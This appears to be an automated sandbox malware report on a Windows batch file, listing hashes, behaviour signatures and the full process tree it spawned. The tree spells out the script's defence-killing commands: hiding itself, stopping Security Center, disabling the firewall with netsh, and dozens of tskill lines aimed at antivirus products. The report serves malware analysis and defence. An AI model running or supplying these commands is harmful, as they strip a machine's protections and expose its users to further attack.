Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    12-10-2023 10:38

General

  • Target

    yeay.bat

  • Size

    3KB

  • MD5

    c52ea73e0ff610403ce0b53173a55ad7

  • SHA1

    59080dfb6964f2cb71cb3d8ce247b6e714310094

  • SHA256

    d3adb1521dea6e9221677abcb9d6fa0e61761791547272643bee28f0ac58f77a

  • SHA512

    f0d33fef150eded146186d1e939527eb8f5a7ecf208edf1eddc63b9ffffa2fe62278f6f890c406754951427090c35e0ca21620638093ee4ac18fb45779a6a25c

Score
8/10

Malware Config

Signatures

  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\yeay.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2880
    • C:\Windows\system32\attrib.exe
      attrib +h C:\Users\Admin\AppData\Local\Temp\yeay.bat
      2⤵
      • Views/modifies file attributes
      PID:3044
    • C:\Windows\system32\net.exe
      net stop ΓÇ£Security CenterΓÇ¥
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop ΓÇ£Security CenterΓÇ¥
        3⤵
          PID:2600
      • C:\Windows\system32\netsh.exe
        netsh firewall set opmode mode=disable
        2⤵
        • Modifies Windows Firewall
        PID:2652
      • C:\Windows\system32\tskill.exe
        tskill /A av*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2560
      • C:\Windows\system32\tskill.exe
        tskill /A fire*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2688
      • C:\Windows\system32\tskill.exe
        tskill /A anti*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2584
      • C:\Windows\system32\tskill.exe
        tskill /A spy*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2460
      • C:\Windows\system32\tskill.exe
        tskill /A bullguard
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1632
      • C:\Windows\system32\tskill.exe
        tskill /A PersFw
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2892
      • C:\Windows\system32\tskill.exe
        tskill /A KAV*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2612
      • C:\Windows\system32\tskill.exe
        tskill /A ZONEALARM
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2072
      • C:\Windows\system32\tskill.exe
        tskill /A SAFEWEB
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2480
      • C:\Windows\system32\tskill.exe
        tskill /A spy*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2856
      • C:\Windows\system32\tskill.exe
        tskill /A bullguard
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2476
      • C:\Windows\system32\tskill.exe
        tskill /A PersFw
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2492
      • C:\Windows\system32\tskill.exe
        tskill /A KAV*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2616
      • C:\Windows\system32\tskill.exe
        tskill /A ZONEALARM
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2508
      • C:\Windows\system32\tskill.exe
        tskill /A SAFEWEB
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2564
      • C:\Windows\system32\tskill.exe
        tskill /A OUTPOST
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1256
      • C:\Windows\system32\tskill.exe
        tskill /A nv*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2452
      • C:\Windows\system32\tskill.exe
        tskill /A nav*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2464
      • C:\Windows\system32\tskill.exe
        tskill /A F-*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2472
      • C:\Windows\system32\tskill.exe
        tskill /A ESAFE
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2504
      • C:\Windows\system32\tskill.exe
        tskill /A cle
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2512
      • C:\Windows\system32\tskill.exe
        tskill /A BLACKICE
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2524
      • C:\Windows\system32\tskill.exe
        tskill /A def*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2620
      • C:\Windows\system32\tskill.exe
        tskill /A kav
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1708
      • C:\Windows\system32\tskill.exe
        tskill /A kav*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2980
      • C:\Windows\system32\tskill.exe
        tskill /A avg*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3016
      • C:\Windows\system32\tskill.exe
        tskill /A ash*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2984
      • C:\Windows\system32\tskill.exe
        tskill /A aswupdsv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2180
      • C:\Windows\system32\tskill.exe
        tskill /A ewid*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2112
      • C:\Windows\system32\tskill.exe
        tskill /A guard*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2456
      • C:\Windows\system32\tskill.exe
        tskill /A guar*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2432
      • C:\Windows\system32\tskill.exe
        tskill /A gcasDt*
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:544
      • C:\Windows\system32\tskill.exe
        tskill /A msmp*
        2⤵
          PID:2640
        • C:\Windows\system32\tskill.exe
          tskill /A mcafe*
          2⤵
            PID:524
          • C:\Windows\system32\tskill.exe
            tskill /A mghtml
            2⤵
              PID:600
            • C:\Windows\system32\tskill.exe
              tskill /A msiexec
              2⤵
                PID:696
              • C:\Windows\system32\tskill.exe
                tskill /A outpost
                2⤵
                  PID:268
                • C:\Windows\system32\tskill.exe
                  tskill /A isafe
                  2⤵
                    PID:976
                  • C:\Windows\system32\tskill.exe
                    tskill /A zapcls
                    2⤵
                      PID:112
                    • C:\Windows\system32\tskill.exe
                      tskill /A zauinst
                      2⤵
                        PID:1164
                      • C:\Windows\system32\tskill.exe
                        tskill /A upd
                        2⤵
                          PID:1096
                        • C:\Windows\system32\tskill.exe
                          tskill /A zlclien*
                          2⤵
                            PID:596
                          • C:\Windows\system32\tskill.exe
                            tskill /A minilog
                            2⤵
                              PID:1480
                            • C:\Windows\system32\tskill.exe
                              tskill /A cc*
                              2⤵
                                PID:300
                              • C:\Windows\system32\tskill.exe
                                tskill /A norton*
                                2⤵
                                  PID:1492
                                • C:\Windows\system32\tskill.exe
                                  tskill /A norton au*
                                  2⤵
                                    PID:368
                                  • C:\Windows\system32\tskill.exe
                                    tskill /A ccc*
                                    2⤵
                                      PID:2952
                                    • C:\Windows\system32\tskill.exe
                                      tskill /A npfmn*
                                      2⤵
                                        PID:2340
                                      • C:\Windows\system32\tskill.exe
                                        tskill /A loge*
                                        2⤵
                                          PID:872
                                        • C:\Windows\system32\tskill.exe
                                          tskill /A nisum*
                                          2⤵
                                            PID:2060
                                          • C:\Windows\system32\tskill.exe
                                            tskill /A issvc
                                            2⤵
                                              PID:2376
                                            • C:\Windows\system32\tskill.exe
                                              tskill /A tmp*
                                              2⤵
                                                PID:2120
                                              • C:\Windows\system32\tskill.exe
                                                tskill /A tmn*
                                                2⤵
                                                  PID:1324
                                                • C:\Windows\system32\tskill.exe
                                                  tskill /A pcc*
                                                  2⤵
                                                    PID:2200
                                                  • C:\Windows\system32\tskill.exe
                                                    tskill /A cpd*
                                                    2⤵
                                                      PID:864
                                                    • C:\Windows\system32\tskill.exe
                                                      tskill /A pop*
                                                      2⤵
                                                        PID:1620
                                                      • C:\Windows\system32\tskill.exe
                                                        tskill /A pav*
                                                        2⤵
                                                          PID:2080
                                                        • C:\Windows\system32\tskill.exe
                                                          tskill /A padmincls
                                                          2⤵
                                                            PID:2380
                                                          • C:\Windows\system32\tskill.exe
                                                            tskill /A panda*
                                                            2⤵
                                                              PID:2264
                                                            • C:\Windows\system32\tskill.exe
                                                              tskill /A avsch*
                                                              2⤵
                                                                PID:2796
                                                              • C:\Windows\system32\tskill.exe
                                                                tskill /A sche*
                                                                2⤵
                                                                  PID:2400
                                                                • C:\Windows\system32\tskill.exe
                                                                  tskill /A syman*
                                                                  2⤵
                                                                    PID:2748
                                                                  • C:\Windows\system32\tskill.exe
                                                                    tskill /A virus*
                                                                    2⤵
                                                                      PID:2764
                                                                    • C:\Windows\system32\tskill.exe
                                                                      tskill /A realmcls
                                                                      2⤵
                                                                        PID:2780
                                                                      • C:\Windows\system32\tskill.exe
                                                                        tskill /A sweep
                                                                        2⤵
                                                                          PID:2404
                                                                        • C:\Windows\system32\tskill.exe
                                                                          tskill /A scan*
                                                                          2⤵
                                                                            PID:772
                                                                          • C:\Windows\system32\tskill.exe
                                                                            tskill /A ad-*
                                                                            2⤵
                                                                              PID:2500
                                                                            • C:\Windows\system32\tskill.exe
                                                                              tskill /A safe*
                                                                              2⤵
                                                                                PID:2696
                                                                              • C:\Windows\system32\tskill.exe
                                                                                tskill /A avas*
                                                                                2⤵
                                                                                  PID:2744
                                                                                • C:\Windows\system32\tskill.exe
                                                                                  tskill /A norm*
                                                                                  2⤵
                                                                                    PID:2768
                                                                                  • C:\Windows\system32\tskill.exe
                                                                                    tskill /A offg*
                                                                                    2⤵
                                                                                      PID:2784

                                                                                  Network

                                                                                  MITRE ATT&CK Enterprise v15

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